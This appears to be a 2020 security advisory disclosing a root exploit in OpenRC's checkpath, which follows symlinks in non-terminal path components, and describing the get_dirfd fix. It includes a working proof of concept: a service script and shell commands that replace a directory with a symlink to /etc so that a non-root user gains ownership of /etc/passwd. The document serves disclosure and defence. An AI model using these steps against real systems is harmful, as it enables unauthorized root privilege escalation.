posted 2020-10-27
OpenRC's checkpath can be tricked into following symlinks present in non-terminal path components. Since checkpath is run as root and is often used to adjust the ownership and permissions of its target, this can lead to root exploits whenever a non-root user is able to create such a symlink.
The checkpath program is part of OpenRC, and is used in service scripts to create files and directories much like the tmpfiles.d entries familiar to systemd users. Since OpenRC service scripts generally run as root, and since checkpath changes the ownership and permissions of its target, it is important that this target does not change unexpectedly. There is dedicated code within checkpath that prevents it from operating on symlinks and hardlinks for that reason:
mjo $ touch foo.txt
mjo $ ln -s foo.txt bar.txt
mjo $ /lib/rc/bin/checkpath --file --mode 755 ./bar.txt
* ./bar.txt: creating file
* checkpath: open: Too many levels of symbolic links
These checks are subject to a race condition (TOCTOU), but are better than nothing. However, they only apply to the terminal component of the given path. If a non-root user can create symlinks higher up in the path, the attack is not mitigated at all. For a “real life” example, consider the following OpenRC service script in /etc/init.d/openrc-symlink-exploit:
#!/sbin/openrc-run
start_pre() {
checkpath --owner mjo --directory /var/lib/foo
checkpath --owner mjo --directory /var/lib/foo/bar
checkpath --owner mjo --file /var/lib/foo/bar/passwd
}
start() { :; }
stop() { :; }
The first time this service is started, the files and directories are created normally:
mjo $ sudo rc-service openrc-symlink-exploit start
* Caching service dependencies ... [ ok ]
* /var/lib/foo: creating directory
* /var/lib/foo: correcting owner
* /var/lib/foo/bar: creating directory
* /var/lib/foo/bar: correcting owner
* /var/lib/foo/bar/passwd: creating file
* /var/lib/foo/bar/passwd: correcting owner
But now, I own /var/lib/foo and am free to replace /var/lib/foo/bar with a symlink:
mjo $ rm -r /var/lib/foo/bar
mjo $ ln -s /etc /var/lib/foo/bar
When the service is restarted (there is also a race condition the first time…) or the next time the machine is rebooted, my symlink is followed and I take ownership of /etc/passwd:
mjo $ sudo rc-service openrc-symlink-exploit start
* /var/lib/foo/bar: creating directory
* checkpath: unable to open directory: Too many levels of symbolic links
* /var/lib/foo/bar/passwd: correcting owner
mjo $ ls -l /etc/passwd
-rw-r--r-- 1 mjo mjo 2.1K 2020-10-17 08:43 /etc/passwd
There is no way to mitigate this vulnerability as an end user. In
particular, the Linux kernel's fs.protected_symlinks
sysctl does not prevent this attack.
A new function get_dirfd
was added to
checkpath that recursively opens a path
from the root upwards. Each iteration calls openat
using the directory descriptor obtained in the previous iteration,
and is “safe by induction”. On Linux, the
O_PATH
and O_NOFOLLOW
flags are used to
guarantee that symlinks will not be followed unless they are owned
by root. On systems where O_PATH
is not available,
encountering a non-terminal symlink is now an error by default;
this can (but should not) be disabled by the
-s flag.